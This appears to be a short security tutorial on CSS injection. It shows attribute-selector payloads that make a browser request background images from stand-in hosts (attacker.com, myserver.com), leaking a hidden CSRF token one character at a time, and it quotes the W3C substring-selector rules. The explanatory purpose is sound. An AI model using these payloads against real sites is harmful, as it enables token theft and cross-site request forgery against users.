CSS Injection to Data Exfiltration

What Is CSS Injection?

CSS Injection occurs when an attacker can inject arbitrary Cascading Style Sheets into a web page. This usually happens when:

User input is reflected inside <style> tags
User-controlled data is used in inline styles
Dynamic theming or customization features lack proper sanitization

“CSS Can’t Steal Data”… Right?

CSS cannot directly read cookies, localStorage, or DOM content like JavaScript can. But it can:

Make conditional network requests
React to DOM state and attribute values
Leak information character by character

CSS as Side-Channel:

CSS supports features that allow it to:

Match elements based on attributes ([value^="a"])
Load external resources (background-image: url(...))
React to user interaction (:hover, :focus, :checked)

Combine these features to create side-channel leaks.

Selectors:

input[value^="S"] { ... }
input[value^="A"] { ... }

Selectors + Load external resources:

input[value^="S"] {
  background-image: url("https://attacker.com/leak?c=S");
}

If the selector matches, the browser makes a request to attacker.com.

Demo:

Styled Contact Formcssexfilitration.vercel.app

This application loads a stylesheet from an external domain and applies it during rendering.

The goal is to exfiltrate the _csrf token from the application.

input[type=hidden][name=_csrf][value^="1"] ~ * {
  background-image: url(https://myserver.com?q=1);
}
input[type=hidden][name=_csrf][value^="2"] ~ * {
  background-image: url(https://myserver.com?q=2);
}
input[type=hidden][name=_csrf][value^="3"] ~ * {
  background-image: url(https://myserver.com?q=3);
}
input[type=hidden][name=_csrf][value^="4"] ~ * {
  background-image: url(https://myserver.com?q=4);
.
.
.
.
.
input[type=hidden][name=_csrf][value^="Z"] ~ * {
  background-image: url(https://myserver.com?q=Z);
}

Substring matching attribute selectors

Three additional attribute selectors are provided for matching substrings in the value of an attribute:

[att^=val]Represents an element with the att attribute whose value begins with the prefix "val". If "val" is the empty string then the selector does not represent anything.[

att$=val]Represents an element with the att attribute whose value ends with the suffix "val". If "val" is the empty string then the selector does not represent anything.

[att*=val]Represents an element with the att attribute whose value contains at least one instance of the substring "val". If "val" is the empty string then the selector does not represent anything.

Reference : https://www.w3.org/TR/selectors-3/#attribute-selectors

The first character can be obtained using this payload. To retrieve the remaining characters, additional payloads need to be created.